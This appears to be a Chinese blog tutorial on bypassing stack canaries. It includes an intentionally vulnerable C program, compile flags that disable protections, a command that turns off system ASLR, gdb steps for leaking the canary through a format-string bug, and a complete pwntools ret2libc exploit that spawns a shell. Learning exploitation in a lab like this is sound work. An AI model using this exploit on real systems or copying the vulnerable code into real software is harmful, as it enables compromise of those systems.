Canary机制及绕过策略-格式化字符串漏洞泄露Canary

Canary主要用于防护栈溢出攻击。我们知道,在32位系统上,对于栈溢出漏洞,攻击者通常是通过溢出栈缓冲区,覆盖栈上保存的函数返回地址来达到劫持程序执行流的目的。
Stack canary保护机制在刚进入函数时,在栈上放置一个标志canary,然后 在函数结束时,判断该标志是否被改变,如果被改变,则表示有攻击行为发生。

gcc相关参数及意义

-fstack-protector:启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
-fstack-protector-all:启用堆栈保护,为所有函数插入保护代码。
-fno-stack-protector:禁用堆栈保护

一,实验源码

文件名:Canary.c

#include <stdio.h>
#include <string.h>

void vul(char *msg_orig)
{
    char msg[128];
    memcpy(msg,msg_orig,128);
    printf(msg);

    char shellcode[64];
    puts("Now ,plz give me your shellcode:");
    read(0,shellcode,256);

}


int main()
{
    puts("So plz leave your message:");
    char msg[128];
    memset(msg,0,128);
    read(0,msg,128);
    vul(msg);
    puts("Bye!");
    return 0;

}

二,编译

命令:gcc -m32 -ggdb -z execstack -fstack-protector -no-pie -o pwnme Cannary.c

使用ldd pwnme,查看libc文件的加载位置是否会变

如果会改变,为了调试方便,可以使用:echo 0 > /proc/sys/kernel/randomize_va_space,关闭整个系统的地址随机化保护。

运行测试下

ok!!!

三,调试

gdb调试:


vul函数返回前

我们简单了解了下canary机制,接下来尝试利用格式化字符串漏洞泄露canary的值

泄露Canary

其实canary的值在程序每一次运行都是会改变的

我们在xor下一个断点,测试一下。

重新运行

所以说canary的值具有不可预测性
但是,eax的值来源于gs:0x14,而gs:0x14存在于栈空间上,所以我们只要找到它栈空间上的位置,就可以泄露它的值。接下来我们就利用格式化字符串漏洞泄露Canary

首先在格式化漏洞点printf函数下好断点

运行,输入:AAAAAAAAAA

然后查看栈空间内容,esp = 0xffffd0c0,指向字符串起始位置 = 0xffffd12c

由此可知格式化字符串偏移为 = (0xffffd12c - 0xffffd0c0) / 4 = 27

然后我们在检测处下断点,查看看Canary的值 = 0xd7203900

这时候我们看上一张图,然后你会有一个地方的值是相同的,而这个位址就是canary

同理得到Canary的偏移 = 59,也就是说,在程序调用vulprintf时,输入%59$x'打印出来的就是canary的值。

四,代码

文件名:exp.py
其中涉及到ret2libc,可以先查看https://www.jianshu.com/p/c90530c910b0,再看代码。
因为只是开启Canary,所以解题方法挺多,泄露处Canary就算经典栈溢出也可以。

from pwn import *

p = process('./pwnme')

elf = ELF('/lib32/libc.so.6')                                     #加载的libc文件
libc_base = 0xf7dd1000                                            #libc基址
system_addr =  libc_base + elf.symbols['system']            #system函数地址
bin_sh_addr =  libc_base + next(elf.search('/bin/sh'))      #'/bin/sh'地址

buf = '%59$x'                                                  #构建泄露Canary的格式化字符串
p.recvuntil("message:\n")
p.sendline(buf)                                                  #发送

ret_msg = p.recvuntil('\n')
canary = int(ret_msg,16)                                        #接收到返回的Cannary的值                

p.recvuntil('shellcode:')                                        #利用栈溢出漏洞
buf = 192 * 'A'                                                  #构建buf
buf += p32(canary)                                          #在Canary地址覆盖Canary原本的值,不改变Canary的值从而绕过检查
buf += 28 * 'B'
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)

p.sendline(buf)                                                      #发送

p.interactive()

五,测试

输入whoami,返回当前用户为root,未报错,得到可产生交互的shell,实验完成!

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,670评论 5 460
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,928评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,926评论 0 320
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,238评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,112评论 4 356
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,138评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,545评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,232评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,496评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,596评论 2 310
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,369评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,226评论 3 313
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,600评论 3 299
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,906评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,185评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,516评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,721评论 2 335

推荐阅读更多精彩内容